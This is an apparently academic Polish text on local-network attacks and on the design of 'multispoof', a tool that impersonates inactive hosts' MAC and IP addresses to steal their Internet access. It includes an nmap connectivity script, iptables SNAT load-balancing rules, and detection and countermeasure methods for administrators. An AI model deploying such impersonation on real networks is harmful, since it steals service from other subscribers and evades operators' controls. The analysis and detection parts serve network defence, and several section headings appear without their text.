1.3.1 Podszywanie się

W sieciach Ethernet opartych na popularnych, tanich przełącznikach lub koncentratorach istnieje niebezpieczeństwo podszycia się poprzez zmianę adresu. Możliwe jest to zarówno w warstwie trzeciej modelu OSI, poprzez zmianę numeru IP⁶⁾, jak i w warstwie drugiej poprzez zmianę adresu MAC. W popularnych systemach operacyjnych modyfikacja tego drugiego jest równie prosta jak pierwszego. Jednak zmiana adresu MAC stanowi z pewnych względów wiedzę tajemną, dostępną tylko wybranym⁷⁾. Rozpowszechniony jest natomiast pogląd, że adres MAC, tzw. adres sprzętowy jest zapisany na stałe w urządzeniu i nie ma możliwości wpływu na jego wartość poza wymianą karty sieciowej.

Adres MAC jest faktycznie zapisany w pamięci karty, ale zazwyczaj ta pamięć pozwala na zmianę jej zawartości. Prostszą metodą jest jednak programowa zmiana adresu na poziomie sterownika karty sieciowej w systemie operacyjnym. Wreszcie wysyłanie ramek ethernetowych ze sfałszowanym adresem źródłowym jest możliwe także w przestrzeni użytkownika za pomocą odpowiednich bibliotek i interfejsów udostępnianych przez jądro. Więcej informacji na temat generowania ramek z poziomu aplikacji zostało zamieszczonych w podrozdziale 2.2.

Zmiana adresu MAC na adres komputera innego użytkownika, który jest w danej chwili nieaktywny powoduje, że serwer DHCP przydziela jego adres IP i dostęp do Internetu odbywa się w cudzym imieniu. Jest to kradzież usługi, przed którą operator sieci osiedlowej powinien się zabezpieczyć.

1.3.2 Bierne podsłuchiwanie

Sieci oparte na koncentratorach są podatne na podsłuchiwanie, ponieważ urządzenia te przesyłają otrzymane ramki na wszystkie porty (rysunek 1.1). Pozwala to atakującemu na dostęp do informacji przesyłanych w obrębie segmentu sieci, do którego on należy. Narzędzia do podsłuchiwania popularnie nazywane są snifferami. Najbardziej znanym programem tego typu jest tcpdump⁸⁾. Podsłuchiwanie jest techniką, która obecnie ma coraz mniejsze znaczenie, ze względu na wypieranie koncentratorów przez przełączniki. W sieciach przełączanych efekty biernego podsłuchiwania są znikome. Jednak podsłuchiwanie nadal jest wykorzystywane przez intruzów w połączeniu z innymi metodami. Więcej o tym można przeczytać w podrozdziale 2.1.

Rysunek 1.1: Przepływ ramek przez koncentrator sieciowy.

1.3.3 ARP Spoofing

Jest to najbardziej znany typ ataku na sieci lokalne, wykorzystujący słabości protokołu ARP [Gusta i Szmit 2003]. Protokół ten jest używany do mapowania numerów IP na adresy MAC, czyli łączy warstwę trzecią z warstwą drugą, umożliwiając tym samym komunikację w sieci fizycznej. Każdy host w sieci posiada lokalną tablicę ARP. Jeśli wystąpi potrzeba wysłania danych do innego hosta o znanym adresie IP w tym samym segmencie sieci lokalnej, tablica ta jest przeglądana w celu odnalezienia odpowiadającego mu adresu MAC. W przypadku, gdy tablica nie zawiera wpisu dla poszukiwanego adresu IP, system operacyjny wysyła do wszystkich komputerów w sieci lokalnej komunikat ARP Request, z zapytaniem o adres MAC tego hosta. Jeśli w danej chwili komputer o poszukiwanym adresie IP jest obecny w sieci, to wysyła komunikat ARP Reply do hosta, który wysłał zapytanie. Odpowiedź zawiera jego adres MAC, co pozwala na uaktualnienie tablicy ARP i dalszą transmisję.

Rysunek 1.2: Koncepcja ataku ARP Spoofing.

1.3.4 MAC Flooding

1.3.5 Fałszywy serwer DHCP

Jeśli hosty w sieci są skonfigurowane w ten sposób, że pobierają ustawienia sieciowe z serwera DHCP, to atakujący może uruchomić drugi, konkurencyjny serwer, który będzie przydzielał komputerom użytkowników inne ustawienia. Atakujący może w ten sposób wymusić na komputerach, aby przesyłały ruch internetowy do jego maszyny, zamiast do routera. Manipulując wartością maski sieciowej, może także spowodować, że nawet transmisje lokalne będą kierowane do niego. Atakujący uzyskuje wtedy pełną kontrolę nad ruchem, tak jak w przypadku ataku ARP Spoofing.

Inną możliwością jest zmiana adresu serwera DNS na adres maszyny kontrolowanej przez atakującego. Fałszywy serwer DNS natomiast będzie przekierowywał wybrany ruch na host oszusta, który znów przejmuje nad nim pełną kontrolę.

Atakujący może też selektywnie blokować hosty w sieci przez przydzielanie nieprawidłowych adresów, co skutkuje efektem odmowy usługi.

1.3.6 Przekierowania ICMP

Jeśli host próbuje wysyłać pakiety IP przez router, zaś ten posiada informacje o lepszej trasie, prowadzącej przez bramę znajdującą się w tej samej sieci, to router wysyła do hosta komunikat ICMP Redirect. W komunikacie zawarta jest informacja o adresie routera, którego host powinien użyć aby wysyłane przez niego pakiety trafiły do miejsca przeznaczenia.

Komunikaty te mogą być wysyłane także przez atakującego w celu przekierowania ruchu hosta do kontrolowanej przez niego maszyny¹²⁾. Maszyna ta uzyskuje pełną kontrolę nad ruchem hosta, zaś efekty są podobne jak w przypadku ataku ARP Spoofing.

1.3.7 Resetowanie połączeń

Jeśli ataki zapewniające kontrolę nad transmisją nie są wykonalne, zaś celem atakującego jest uniemożliwienie komunikacji w sieci to może posunąć się do prób resetowania połączeń. Polega to na wstrzykiwaniu do sieci pakietów, które służą do awaryjnego zawieszania połączeń TCP i transmisji UDP¹³⁾. W przypadku protokołu TCP są to segmenty z ustawioną flagą RST, zaś przerywanie połączeń UDP odbywa się z wykorzystaniem komunikatów ICMP Unreachable. Pakiety resetujące wymagają podstawowych informacji o połączeniu jak adresy i porty źródłowe oraz przeznaczenia, a także numery sekwencyjne dla połączeń TCP. Dlatego ten atak jest najbardziej efektywny w połączeniu z podsłuchiwaniem ruchu sieciowego. Z przechwyconego ruchu atakujący wybiera te połączenia, które chce zakończyć.

Inną metodą jest zgadywanie części danych opisujących połączenie, o którym pozostałe informacje są znane. Na przykład jeśli atakujący wie, że dany host ustanowił długotrwałą sesję z innym hostem wykorzystując protokół FTP, to generuje pakiety resetujące z wszystkimi możliwymi kombinacjami portów źródłowych i numerów sekwencyjnych¹⁴⁾. Pozostałe dane jak adresy IP i numer portu docelowego, są znane.

3.3.1 rx i tx

Para programów rx i tx zajmuje się odpowiednio podsłuchiwaniem (odbieraniem ramek) oraz ich wstrzykiwaniem do sieci.

Komponent rx odbiera ramki z wykorzystaniem biblioteki libpcap [Carstens 2002]. Jako parametry z linii komend podaje się interfejs, na którym program ma nasłuchiwać, oraz filtr BPF, określający które ramki będą odbierane. Podsłuchiwanie musi odbywać się w trybie promiscuous, ze względu na to, że aplikacja multispoof wykorzystuje wiele adresów MAC. Jeśli tryb ten byłby wyłączony, aplikacja otrzymywałaby tylko ramki, których docelowy adres MAC jest równy adresowi interfejsu sieciowego, oraz ramki rozgłoszeniowe. Oprócz trybu promiscuous, komponent rx przed rozpoczęciem podsłuchiwania aktywuje filtr kierunku transmisji, tak aby odbierane były tylko ramki, które płyną z sieci, nie zaś te, które są wysyłane przez hosta. Domyślnie bowiem, biblioteka libpcap przechwytuje ramki płynące w obydwu kierunkach²⁸⁾.

Podsłuchane ramki, które spełniają warunki narzucone przez filtr BPF oraz filtr kierunku, zostają wysłane przez komponent rx na standardowe wyjście, zakodowane zgodnie z tekstowym protokołem ramek.

Komponent tx zajmuje się wstrzykiwaniem ramek do sieci przez określony interfejs sieciowy. Ramki są wczytywane ze standardowego wejścia w formacie zgodnym z protokołem ramek. Wstrzykiwanie odbywa się z wykorzystaniem biblioteki libnet [Schiffman 2004]. Jeśli ramka do wstrzyknięcia jest zbyt mała (standard Ethernet wymaga, aby minimalna wielkość wynosiła 60 bajtów), komponent tx powiększa ją, dopełniając zerowymi bajtami (ang. padding). Gdyby czynność ta nie była wykonywana i tak ostatecznie zrobiłby to sterownik karty sieciowej. Jednak wtedy analiza danych płynących przez interfejs z wykorzystaniem narzędzi typu sniffer nie ujawniłaby dopełnienia, co nie zgadzałoby się ze stanem faktycznym i mogłoby wzbudzać wątpliwości u osoby, która nie jest zaznajomiona z tym faktem.

Komponenty rx i tx wspólnie pozwalają na kompletną, niskopoziomową kontrolę ruchu przychodzącego i wychodzącego przez dany interfejs. Stanowią interfejs do sieci dla innych części aplikacji multispoof.

Rozbicie funkcji podsłuchiwania sieci oraz wstrzykiwania ramek na dwa oddzielne programy, oprócz korzyści związanych z modularyzacją aplikacji, może przydać się także w przyszłości. W kolejnej wersji można stosunkowo łatwo wprowadzić obsługę pracy w sieci bezprzewodowej. Radiowe interfejsy sieciowe charakteryzują się tym, że nie jest możliwe jednoczesne odbieranie i nadawanie. Wiąże się to z tzw. efektem oślepienia, który występuje w momencie zbyt szybkiego przełączenia interfejsu z trybu nadajnika w tryb odbiornika. Konieczne jest zastosowanie dwóch oddzielnych interfejsów sieciowych²⁹⁾: jednego tylko do wysyłania, zaś drugiego tylko do odbierania ramek. Obecna architektura aplikacji poradzi sobie z tym wymogiem, ponieważ każdy interfejs będzie obsługiwany przez osobny komponent³⁰⁾.

3.3.2 tapio

Komponent tapio jest odpowiedzialny za utworzenie wirtualnego interfejsu tap oraz komunikację z nim. Program łączy z interfejsem standardowe wejście i wyjście, w ten sposób, że ramki wczytywane z wejścia są na niego wysyłane, zaś ramki z niego odbierane są wypisywane na standardowe wyjście. Proces ten jest zobrazowany na rysunku 3.7. Obsługa wejścia/wyjścia jest realizowana z zachowaniem tekstowego protokołu ramek. Nazwę interfejsu tap, który program ma utworzyć, podaje się jako parametr.

Rysunek 3.7: Schemat działania programu tapio.

3.3.3 cmac

Komponent cmac jest programem typu filtr. Wczytuje on ramki ze standardowego wejścia, następnie jeśli spełnione zostaną kryteria akceptacji, modyfikuje je i wysyła na standardowe wyjście. Modyfikacja dotyczy zmiany adresu MAC ramki. W zależności od trybu podawanego jako parametr przy uruchomieniu, komponent podmienia adres źródłowy lub docelowy. Algorytm działania programu został przedstawiony na rysunku 3.8.

Rysunek 3.8: Algorytm programu cmac w trybie spoof.

Po uruchomieniu cmac łączy się z komponentem netdb. Z każdej wejściowej ramki program wyodrębnia jej adres IP. Następnie wysyła do netdb zapytanie o ten adres (wykorzystując komendę gethost). Jeśli wpis zostanie znaleziony, to odpowiedź będzie zawierać adres MAC hosta, czas nieaktywności, czas który upłynął od ostatniego testu oraz informacje czy dany adres jest w tej chwili testowany i czy jest w stanie enabled. Komponent cmac testuje, czy uzyskane informacje spełniają opisane w tabeli 3.2 warunki zmiany adresu MAC. Jeśli test wypadnie pomyślnie adres MAC ramki zostaje zmieniony i ramka jest wypisywana na standardowe wyjście.

3.4.1 scanarp

Komponent scanarp ma za zadanie periodyczne wysyłanie zapytań ARP Request do wszystkich hostów, których adresy są zarejestrowane w bazie netdb. Zapytania tego rodzaju są wysyłane, aby stwierdzić które z zarejestrowanych hostów są w danej chwili aktywne, bowiem działające komputery odpowiadają komunikatem ARP Reply³¹⁾. Algorytm działania programu został przedstawiony na rysunku 3.10. Wysyłanie ramek w sieć jest realizowane za pośrednictwem komponentu tx, z wykorzystaniem protokołu ramek. Komponent pobiera listę hostów z bazy za pomocą komendy dump. Należy podkreślić, że aktywność sieciowa komponentu scanarp ogranicza się wyłącznie do wysyłania pakietów ARP Request. Odbieraniem odpowiedzi ARP Reply zajmuje się opisany dalej komponent deta.

Rysunek 3.10: Algorytm komponentu scanarp.

3.4.2 deta

3.5.1 conncheck

Komponent conncheck decyduje które adresy z bazy netdb mogą być wykorzystywane w procesie podszywania się. Może się bowiem zdarzyć, że host znajdujący się w bazie netdb nie ma połączenia z Internetem (np. jego adres został zablokowany na routerze). Podszywanie się pod host, który nie ma łączności z siecią globalną mija się z celem aplikacji multispoof. Aby temu zapobiec program wybiera nieaktywne hosty i co pewien czas wykonuje dla każdego z nich test połączenia korzystając ze skryptu access-test. Adres hosta, który podlega testowaniu, jak i inne informacje są przekazywane do skryptu przez zmienne środowiskowe (tabela 3.3). Skrypt zwraca kod zakończenia równy 0, jeśli połączenie z Internetem zostało poprawnie zweryfikowane. Jeśli skrypt nie zdołał pozytywnie przetestować połączenia, to zwraca 1. Wersja aplikacji multispoof, która jest dołączona do tego opracowania, zawiera skrypt wykorzystujący program nmap³⁵⁾. Kod skryptu przedstawiony jest na listingu poniżej.

  #!/bin/sh
  HOST="www.mbank.com.pl"
  PORT="443"

  echo "access-test: (debug) checking $_IP started"
  RESULT=1
  nmap -sT -P0 -n -p $PORT $HOST 2> /dev/null | \
  egrep "^$PORT" | grep -q "open" && RESULT=0
  echo "access-test: (debug) checking $_IP finished (result: $RESULT)"

  exit $RESULT
      

Po wywołaniu skryptu, program nmap wysyła segment TCP SYN na port 443 hosta o adresie www.mbank.com.pl. Jeśli otrzyma w odpowiedzi segment SYN ACK, wypisuje na standardowe wyjście stosowny komunikat. Komunikat jest przetwarzany przez narzędzie grep, które zwraca odpowiednią wartość logiczną, wykorzystywaną dalej przez skrypt do ustawienia zmiennej RESULT. Ostatnim krokiem jest zwrócenie wartości tej zmiennej. Metoda oparta na programie nmap została wybrana ze względu na to, że program ten generuje ruch sieciowy o stosunkowo niskim natężeniu. Cała transmisja składa się z jednego lub kilku zapytań DNS oraz rozpoczęcia połączenia TCP. Pakiety są małe i jest ich niewiele³⁶⁾.

Testowanie połączenia z Internetem zostało zorganizowane w powyższy sposób, aby użytkownik miał możliwość łatwego modyfikowania tego elementu i dostrajania go do sieci w której jest uruchamiana aplikacja multispoof. Także w tym celu do skryptu są przekazywane zmienne środowiskowe. W tej wersji skryptu bowiem nie są one wykorzystywane.

Aby przetestować połączenie z Internetem konkretnego hosta, komponent conncheck przed uruchomieniem skryptu access-test musi załadować do jądra regułę NAT³⁷⁾, która spowoduje, że dane wysyłane i odbierane przez skrypt będą wykorzystywały adres IP testowanego hosta. Odbywające się aktualnie transmisje użytkownika aplikacji multispoof nie powinny zostać zakłócone, dlatego reguła musi dotyczyć tylko transmisji wykonywanych przez skrypt i programy przez niego uruchamiane. Aby spełnić ten warunek wykorzystywany jest moduł owner. Moduł ten pozwala na wyodrębnienie transmisji konkretnego procesu (wykorzystując jego PID) lub ich zbioru (za pomocą numeru SID - session ID³⁸⁾). Ponieważ wszystkie komponenty aplikacji multispoof są wywoływane przez jeden skrypt (opisany w podrozdziale 3.6), numer SID każdego procesu jest taki sam. Skrypt access-test jest jedyną częścią aplikacji, która wykonuje transmisje sieciowe, dlatego wykorzystanie w regule tego numeru nie zakłóci pracy programu. Jeśli numerem SID będzie 42, transmisje mają wykorzystywać interfejs tap0, zaś adres źródłowy ma być podmieniany na 156.17.40.16, to wywołanie programu iptables będzie miało poniższą formę:

  # iptables -t nat -A POSTROUTING -o tap0 \
             -m owner --sid-owner 42 -j SNAT --to-source 156.17.40.16
      

W rzeczywistości, aplikacja multispoof wykorzystuje dodatkowe łańcuchy iptables. Jest to opisane dokładniej w podrozdziale 3.6.

Przed uruchomieniem skryptu access-test, oprócz załadowania reguły NAT, conncheck wywołuje na bazie adresów netdb komendę do start-test (zobacz tabela 3.1). Komenda ta ustawia flagę, która informuje inne komponenty, że dany host jest aktualnie testowany. Dzięki temu np. komponent cmac zmienia i przesyła ramki nawet dla hostów, które nie są w stanie enabled (zachowanie poszczególnych komponentów w zależności od stanu flag jest przedstawione w tabeli 3.2). Dopiero po tym wywoływany jest skrypt testujący. Następnie w zależności od wyniku testu, stan hosta jest za pomocą komendy do zmieniany na enabled lub disabled. Zostaje jeszcze usunięcie znacznika testowania oraz reguły NAT, po czym komponent przechodzi do testowania następnego adresu. Algorytm działania programu jest przedstawiony na rysunku 3.14.

Rysunek 3.14: Algorytm działania komponentu conncheck.

3.5.2 natman

Komponent natman jest odpowiedzialny za utrzymywanie aktualności reguł NAT wykorzystywanych do równoważenia obciążenia. Program periodycznie pobiera listę hostów z bazy netdb i na jej podstawie buduje listę hostów, które są w stanie enabled i były nieaktywne przez wystarczającą długi czas. Tak przygotowana lista jest porównywana z listą z poprzedniej iteracji. Jeśli listy różnią się, to znaczy, że w bazie pojawiły się nowe hosty, które można wykorzystać, lub dotychczas nieaktywne komputery stały się aktywne. W obu przypadkach komponent przeładowuje listę reguł NAT, aby uwzględnić zmiany. Rysunek 3.15 przedstawia algorytm działania programu natman.

Rysunek 3.15: Algorytm działania komponentu natman.

Równoważenie obciążenia to proces realizowany przez podsystem Netfilter jądra Linuksa, rozdzielający połączenia sieciowe i przypisujący je do poszczególnych adresów, które w danej chwili są wykorzystywane. Dzięki temu użytkownik może wygenerować ruch, którego natężenie wielokrotnie przekracza limit dla pojedynczego hosta.

Aby lepiej zrozumieć, na czym polega równoważenie obciążenia, należy prześledzić drogę pojedynczego pakietu. Pakiet, który przychodzi na interfejs wirtualny tap, jest porównywany z tablicą nawiązanych połączeń conntrack. Z każdym połączeniem związany jest adres IP. Jeśli pakiet należy do nawiązanego połączenia, to jego adres źródłowy zostanie zmieniony na ten, który jest zapisany w tablicy conntrack. Jeśli zaś pakiet nie należy do żadnego z istniejących połączeń, tzn. jest pierwszym pakietem połączenia (np. jest to pakiet TCP z ustawioną opcją SYN³⁹⁾), to adres, jaki zostanie mu przypisany, jest wybierany z puli dostępnych odpowiednim algorytmem rozkładania obciążenia. W obecnej wersji wykorzystywany jest algorytm round robin⁴⁰⁾. Polega on na tym, że każde nowe połączenie dostaje kolejny adres IP modulo liczba dostępnych adresów. Tzn. jeśli dostępnych jest 10 adresów, to pierwsze połączenie dostanie pierwszy adres, drugie drugi itd., zaś połączenie jedenaste otrzyma adres pierwszy. Jest to najprostsza metoda równoważenia obciążenia, nie uwzględniająca stopnia wykorzystania poszczególnych adresów. W kolejnych wersjach aplikacji multispoof mogą pojawić się inne metody.

  # iptables -t nat -A POSTROUTING -o tap0 \
             -m nth --every 4 --packet 0 \
             -j SNAT --to-source 156.17.40.16
  # iptables -t nat -A POSTROUTING -o tap0 \
             -m nth --every 4 --packet 1 \
             -j SNAT --to-source 156.17.40.17
  # iptables -t nat -A POSTROUTING -o tap0 \
             -m nth --every 4 --packet 2 \
             -j SNAT --to-source 156.17.40.18
  # iptables -t nat -A POSTROUTING -o tap0 \
             -m nth --every 4 --packet 3 \
             -j SNAT --to-source 156.17.40.19
        

Śledzenie połączeń ulegających translacji jest fundamentalnych mechanizmem, dzięki któremu transmisja może odbywać się prawidłowo. W przeciwnym wypadku, tzn. gdyby mechanizm ten został zdezaktywowany, translacja dotyczyłaby pojedynczych pakietów a nie połączeń. Doprowadziłoby to do sytuacji, w której poszczególne pakiety jednego połączenia miałyby różne źródłowe adresy IP, co uniemożliwia właściwą identyfikację połączenia przez host, znajdujący się po jego drugiej stronie. Adres IP bowiem jest jedną z danych, które identyfikują połączenie⁴⁴⁾ i przez czas jego trwania muszą pozostać niezmienne.

Ideę procesu rozkładania obciążenia została przedstawiona na rysunku 3.16. Pakiety zobrazowane są na nim jako różnokolorowe kółka. Kolor ich wypełnienia określa połączenie do którego przynależy dany pakiet. Środkowy okrąg określa miejsce, w którym przeprowadzany jest NAT według tabeli conntrack, która łączy połączenia z adresami IP. Na rysunku prawie wszystkie połączenia są już nawiązane i mają przypisane adresy IP. Pakiety oznaczone czerwonymi kółkami rozpoczynają połączenie, któremu adres IP zostanie przypisany zgodnie z algorytmem round robin.

Rysunek 3.16: Proces równoważenia obciążenia ruchu wychodzącego z wykorzystaniem śledzenia połączeń i NAT.

5.1.1 Wykrywanie skanowania ARP

  # tcpstat -i eth0 -f arp -o "%n " 1
  32 40 28 37 44 25 44 23 33 140 38 37 22 22 25 33 28 38 35 23 21 25 33 49 77 48 3
  8 29 39 40 27 39 31 22 25 29 32 31 26 32 42 22 27 33 31 32 41 28 22 31 34 21 32
  63 75 33 36 41 23 31 36 33 27 33 34 37 38 153 20 22 32 21 25 35 29 31 28 31 39 2
  1 25 36 17 40 98 42 38 45 39 25 31 29 30 25 26 32 26 26 37 38 21 34 43 16 24 32
  32 21 36 40 40 25 35 74 63 58 38 29 27 38 34 39 41 47 27 24 101 92 24 23 35 20 2
  0 27 25 42 33 36 27 25 12
        

Choć badanie aktywności hostów w sieci jest niezbędnym elementem działania każdego programu, który wykorzystuje podszywanie sie pod nieaktywne adresy, to proces monitorowania sieci można zaimplementować inaczej, tak, aby nie było możliwe jego wykrycie tą metodą. Więcej na ten temat w rozdziale 6.

5.1.2 Wykrywanie testowania łączności

Podobną metodą jest technika bazująca na zachowaniu komponentu conncheck, który domyślnie wysyła pakiety testowe co godzinę. Pakiety są wysyłane spod wszystkich adresów, które aplikacja ma zarejestrowane w bazie i które są nieaktywne w sieci. Aktualna wersja aplikacji do testowania łączności wykorzystuje skrypt access-test, który wykonuje zawsze ten sam test, mianowicie rozpoczęcie połączenia TCP na porcie 443 z hostem www.mbank.com.pl. Jeśli administrator analizując ruch sieciowy zauważy, że takie połączenia odbywają się regularnie to może przypuszczać, że w sieci działa aplikacja multispoof.

Inną metodą detekcji bazującą na tej samej słabości jest sprawdzanie, czy każdy host, który wysyłał jakieś dane, po kilku sekundach odpowiada na zapytania ARP. Aplikacja multispoof przez czas działania testu odpowiada na nie, jednak jeśli test wypadnie niepomyślnie, to jest on natychmiast blokowany, co obejmuje także ignorowanie zapytań ARP.

Obie metody można zaliczyć do klasy słabych, ponieważ proces testowania łączności może być przeprowadzany w inny, trudniejszy do wykrycia sposób. W rozdziale 6 przedstawiono możliwe techniki utrudniające detekcję z wykorzystaniem tej metody.

5.1.3 Standardowe transmisje

Kolejną słabą metodą detekcji jest analizowanie ruchu sieciowego pod kątem standardowych transmisji. Po włączeniu, komputer wysyła zazwyczaj kilka pakietów DHCP. Przed rozpoczęciem komunikacji z siecią zewnętrzną wysyła także zapytanie ARP o adres fizyczny routera. Popularne systemy operacyjne firmy Microsoft z domyślnie uaktywnionym klientem usługi udostępniania plików i drukarek co pewien czas wysyłają specyficzne pakiety rozgłoszeniowe UDP. Aplikacja multispoof nie generuje wymienionych transmisji. Z analizy ruchu sieciowego można wnioskować, że jeśli dany adres jest aktywny, zaś nie wykryto powiązanych z nim standardowych transmisji, to może on być wykorzystywany przez tę aplikację.

Wykrywanie braku standardowych transmisji może wymagać napisania prostego programu, który będzie analizował ruch sieciowy i uaktualniał listę aktywnych hostów, oraz sprawdzał, czy każdy z nich posiada skojarzone standardowe transmisje.

Opisana metoda nie należy do silnych ze względu na to, że standardowe transmisje można symulować, co jest opisane dokładniej w rozdziale 6.

5.1.4 Skanowanie i monitorowanie hostów

Kolejna słaba metoda bazuje na tym, że w obecnej wersji aplikacja multispoof blokuje wszelkie połączenia sieciowe, które są inicjowane z sieci. Adresy wykorzystywane przez aplikację nie odpowiadają na zapytania ICMP Echo oraz nie udostępniają standardowych usług sieciowych. Administrator może periodycznie skanować hosty, które znajdują się w sieci, celem sprawdzenia, czy odpowiedzi na pewne typy zapytań nie zmieniają się. Jeśli na przykład host w dzień udostępnia jakąś usługę sieciową, zaś w nocy nie, a sytuacja taka się powtarza, to może oznaczać, że w sieci działa aplikacja typu multispoof.

Podobną metodą jest pasywne wykrywanie systemu operacyjnego na podstawie danych, które transmituje dany host⁵⁶⁾. Podejrzenia może wzbudzić sytuacja, kiedy wykryty zostanie system operacyjny inny, niż zazwyczaj rozpoznawany dla badanego hosta. Może to jednak także oznaczać, że użytkownik tego komputera po prostu korzysta z więcej niż jednego systemu operacyjnego.

Opisane metody trudno zaklasyfikować do jednej z grup opisanych na początku tego podrozdziału. Skanowanie wykorzystuje ewidentną słabość aktualnej wersji aplikacji multispoof, dlatego może zostać uznane za słabe. Jednak zabezpieczenie się przed skanowaniem (opisane w rozdziale 6) jest możliwe tylko do pewnego stopnia. Regularne monitorowanie wykorzystywanych systemów operacyjnych także pozwala ze stosunkowo wysokim prawdopodobieństwem odpowiedzieć na pytanie, czy w sieci występują nadużycia związane z podszywaniem się.

5.1.5 Hosty pułapki

Następną metodą jest wykorzystanie komputerów, które znajdują się pod pełną lub częściową kontrolą administratora sieci. Administrator konfiguruje specjalny host, którego jedynym zadaniem jest obecność w sieci. Ta obecność powinna być zauważalna dla innych, dlatego host musi generować transmisje sieciowe. Im aktywność tego hosta jest bardziej zbliżona do prawdziwej, tym metoda jest silniejsza. Co pewien czas komputer jest wyłączany na pewien. W tym czasie administrator analizuje ruch sieciowy. Jeśli adres tego hosta pojawi się w sieci, jest to pewna oznaka, że w sieci działa oszust, którego komputer podszywa się pod adres hosta-pułapki.

Metodą zbliżoną jest korzystanie z pomocy zaufanych użytkowników sieci, którzy informują administratora o wszystkich włączeniach i wyłączeniach swoich komputerów. Może to być zautomatyzowane przez wykorzystanie specjalnego oprogramowania. Jeszcze jedną wariacją jest udostępnienie użytkownikom informacji o tym, kiedy ich komputery wykazywały aktywność sieciową i nakazanie zgłaszania wszelkich niezgodności.

Metody wykorzystujące hosty-pułapki są silne, zaś z wykorzystaniem odpowiedniego oprogramowania stosunkowo wygodne w użyciu.

5.1.6 Korelacja transmisji sieciowych

Wykorzystywanie procesu podszywania się w codziennej aktywności sieciowej powoduje, że mogą powstawać pewne odstępstwa od normy w zakresie transmisji. Część aplikacji, które komunikują się z Internetem, wykorzystuje w tym celu kilka połączeń (zazwyczaj z użyciem protokołu TCP). Jeśli komputer oszusta podszywa się pod wiele hostów, będą się zdarzać sytuacje, kiedy kilka połączeń jednej aplikacji zostanie przydzielonych do różnych adresów IP⁵⁷⁾. W wielu przypadkach zależności między połączeniami są znane (kolejność, czas który upływa między kolejnymi transmisjami, liczba bajtów i pakietów), zaś jeśli połączenia nie są szyfrowane, można wydobyć z nich dodatkowe informacje. Jako przykład można podać korzystanie z programów, które przy starcie łączą się z serwerem (np. w celu zalogowania lub pobrania aktualizacji), a następnie pobierają z sieci i wyświetlają reklamę. Do tej klasy można zaliczyć aplikacje, które oferują dostęp do bezpłatnej usługi w zamian za dostarczanie treści marketingowych, jak komunikatory internetowe lub darmowe oprogramowanie antywirusowe. Jeśli oszust podszywa się pod wiele hostów na raz, to logowanie i pobieranie reklamy, jako dwa niezależne połączenia, mogą odbywać się z użyciem dwóch różnych adresów IP. Między tymi transmisjami istnieje silna zależność czasowa, mianowicie pobranie reklamy następuje natychmiast po zalogowaniu. Dodatkowo, w przypadku wielu programów zdarza się, że identyfikator użytkownika przesyłany przy logowaniu, jest wysyłany także przy pobieraniu reklamy (np. za pomocą mechanizmu cookies).

Aby wykorzystać te informację w celu wykrywania fałszowania adresów, niezbędne jest stworzenie specjalnego oprogramowania, które będzie poddawać je analizie oraz korelować transmisje z różnych adresów i powiadamiać administratora w przypadku wykrycia aktywności tej samej kopii programu na wielu adresach. Metoda ta wymaga dużych nakładów początkowych, związanych z pisaniem oprogramowania i jego wdrażaniem w sieci, oraz stałych kosztów utrzymywania i aktualizacji bazy wykrywanych aplikacji. W zamian otrzymuje się silną metodę detekcji, którą trudno wprowadzić w błąd.

5.1.7 Moment pojawienia się hosta w sieci

Kolejna metoda opiera się na nietypowym efekcie, który powstaje w momencie włączenia się do sieci komputera, którego adres był do tej pory wykorzystywany w procesie podszywania się. Jeśli oszust nie chce zostać zauważony, musi stosować mechanizm unikania konfliktów w sieci, np. ten zaimplementowany w komponencie deta aplikacji multispoof. Polega on na podsłuchiwaniu sieci i w razie odebrania ramki pochodzącej od hosta, którego adres jest używany w procesie podszywania się, jego dalsze wykorzystanie jest natychmiast blokowane. Ten moment może być wykorzystany do wykrycia programu multispoof, ponieważ mocno odbiega od typowego zachowania sieci. Normalna aktywność hosta w pewnej chwili ulega natychmiastowemu przerwaniu, a w tym samym czasie pojawiają się nowe transmisje, świadczące o uruchamianiu się komputera (takie jak zapytania DHCP, ARP, DNS itd.). Przypomina to sytuację nagłego zawieszenia się komputera, po którym następuje jego wyłączenie, ponowne włączenie, uruchomienie systemu operacyjnego i konfiguracja sieci, z tym, że czas od wyłączenia do konfiguracji sieci jest skrócony do zera. Jest to moment charakterystyczny i napisanie aplikacji, która wykrywa go na podstawie ruchu sieciowego i bieżących połączeń nie jest trudne. Jest możliwe także napisanie programu, który symuluje ruch sieciowy włączającego się komputera, a następnie bada reakcje transmisji, które wykorzystują ten adres. Jest to efektywna, silna metoda detekcji, przed którą niełatwo jest się zabezpieczyć.

5.1.8 Analiza wykorzystania portów przełączników

5.2.1 Zagłuszanie

Najprostszym sposobem na uniemożliwienie działania aplikacji multispoof jest symulacja aktywności hostów, które w danej chwili są wyłączone. Ponieważ aplikacja w aktualnej wersji podszywa się tylko pod hosty, które nie wykazują objawów obecności w sieci przez jakiś czas, ten sposób całkowicie uniemożliwia jej działanie. Program, który realizowałby to zadanie, można zaimplementować nawet jako skrypt shellowy, wykorzystując program arping⁵⁹⁾ do badania aktywności hostów, oraz narzędzie ifconfig do definiowania dodatkowych adresów na interfejsie. Skrypt co zdefiniowany czas sprawdzałby, które hosty nie są aktywne⁶⁰⁾, a następnie definiowałby je jako aliasy IP dla interfejsu sieciowego. Resztą zajmowałoby się jądro systemu – udzielałoby ono odpowiedzi na zapytania ARP o te adresy. Aplikacja multispoof co pewien czas wysyła takie zapytania, zaś otrzymanie odpowiedzi traktuje jako dowód na obecność danego hosta w sieci, co powoduje, że nie jest on uwzględniany w procesie podszywania się.

W momencie pojawienia się fizycznego hosta w sieci, skrypt wykrywałby to i alias dla jego adresu byłby usuwany. Aby zapobiec konfliktom IP, skrypt powinien zostać wzbogacony o wywołania arptables⁶¹⁾, które blokowałyby udzielanie odpowiedzi ARP, jeśli zapytanie dotyczyłoby adresu, który je wygenerował⁶²⁾.

Innym sposobem na symulowanie aktywności hostów w sieci jest uruchomienie drugiej kopii aplikacji multispoof przez administratora (sic!). Jeśli do bazy aplikacji zostanie wprowadzona lista zarejestrowanych komputerów, zaś program będzie działał przez cały czas, to wszystkie zadania przedstawionego powyżej skryptu będą przezeń spełniane. Dodatkowym atutem tego rozwiązania jest automatyczna aktualizacja bazy hostów, wykonywana przez aplikację multispoof w pełni samodzielnie.

Opisana metoda posiada jednak szereg słabości, które mogą być wykorzystane w celu obniżenia jej skuteczności do zera. Przyszłe wersje programu multispoof mogą implementować mechanizmy służące do przełamywania tego zabezpieczenia.

5.2.2 Model dostępu do usługi w sesjach

